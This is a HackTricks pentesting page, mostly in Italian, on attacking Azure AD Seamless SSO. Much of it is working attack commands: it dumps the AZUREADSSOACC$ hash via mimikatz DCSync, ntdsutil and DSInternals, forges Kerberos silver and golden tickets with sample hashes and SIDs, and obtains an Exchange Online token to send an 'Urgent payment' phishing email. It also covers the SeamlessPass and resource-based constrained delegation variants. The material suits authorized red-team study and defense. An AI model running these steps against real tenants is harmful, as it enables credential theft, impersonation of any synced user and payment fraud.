Az - Seamless SSO

Support HackTricks

Basic Information

From the docs: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) accede automaticamente gli utenti quando sono sui loro dispositivi aziendali connessi alla tua rete aziendale. Quando abilitato, gli utenti non devono digitare le loro password per accedere ad Azure AD, e di solito, nemmeno digitare i loro nomi utente. Questa funzionalità offre ai tuoi utenti un facile accesso alle tue applicazioni basate su cloud senza necessità di componenti aggiuntivi on-premises.

Fondamentalmente, Azure AD Seamless SSO accede gli utenti quando sono su un PC unito a un dominio on-prem.

È supportato sia da PHS (Password Hash Sync) che da PTA (Pass-through Authentication).

Il SSO desktop utilizza Kerberos per l'autenticazione. Quando configurato, Azure AD Connect crea un account computer chiamato AZUREADSSOACC$ in AD on-prem. La password dell'account AZUREADSSOACC$ è inviata in chiaro ad Azure AD durante la configurazione.

I ticket Kerberos sono crittografati utilizzando l'NTHash (MD4) della password e Azure AD utilizza la password inviata per decrittografare i ticket.

Azure AD espone un endpoint (https://autologon.microsoftazuread-sso.com) che accetta ticket Kerberos. Il browser della macchina unita al dominio inoltra i ticket a questo endpoint per il SSO.

On-prem -> cloud

La password dell'utente AZUREADSSOACC$ non cambia mai. Pertanto, un amministratore di dominio potrebbe compromettere il hash di questo account, e poi usarlo per creare ticket silver per connettersi ad Azure con qualsiasi utente on-prem sincronizzato:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Con l'hash puoi ora generare biglietti silver:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Per utilizzare il biglietto silver, devono essere eseguiti i seguenti passaggi:

  1. Avviare il Browser: Mozilla Firefox deve essere avviato.

  2. Configurare il Browser:

  1. Accedere all'Applicazione Web:

  • Visitare un'applicazione web integrata con il dominio AAD dell'organizzazione. Un esempio comune è Office 365.

  1. Processo di Autenticazione:

  • Nella schermata di accesso, deve essere inserito il nome utente, lasciando vuoto il campo della password.

  • Per procedere, premere TAB o ENTER.

Questo non bypassa MFA se abilitato

Opzione 2 senza dcsync - SeamlessPass

È anche possibile eseguire questo attacco senza un attacco dcsync per essere più furtivi come spiegato in questo post del blog. Per questo hai solo bisogno di uno dei seguenti:

  • Un TGT di un utente compromesso: Anche se non ne hai uno ma l'utente è stato compromesso, puoi ottenerne uno utilizzando il trucco di delega TGT falso implementato in molti strumenti come Kekeo e Rubeus.

  • Golden Ticket: Se hai la chiave KRBTGT, puoi creare il TGT di cui hai bisogno per l'utente attaccato.

  • L'hash NTLM o la chiave AES di un utente compromesso: SeamlessPass comunicherà con il controller di dominio con queste informazioni per generare il TGT.

  • Hash NTLM o chiave AES dell'account AZUREADSSOACC$: Con queste informazioni e l'Identificatore di Sicurezza (SID) dell'utente da attaccare è possibile creare un biglietto di servizio e autenticarsi con il cloud (come eseguito nel metodo precedente).

Infine, con il TGT è possibile utilizzare lo strumento SeamlessPass con:

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Ulteriori informazioni per impostare Firefox per lavorare con SSO senza soluzione di continuità possono essere trovate in questo post del blog.

Creazione di ticket Kerberos per utenti solo cloud

Se gli amministratori di Active Directory hanno accesso ad Azure AD Connect, possono impostare SID per qualsiasi utente cloud. In questo modo i ticket Kerberos possono essere creati anche per utenti solo cloud. L'unico requisito è che il SID sia un SID valido.

La modifica del SID degli utenti admin solo cloud è ora bloccata da Microsoft. Per informazioni controlla https://aadinternals.com/post/on-prem_admin/

On-prem -> Cloud tramite Delegazione Constrainata Basata su Risorse

Chiunque possa gestire gli account computer (AZUREADSSOACC$) nel contenitore o nell'OU in cui si trova questo account, può configurare una delegazione constrainata basata su risorse sull'account e accedervi.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Riferimenti

Supporta HackTricks

Last updated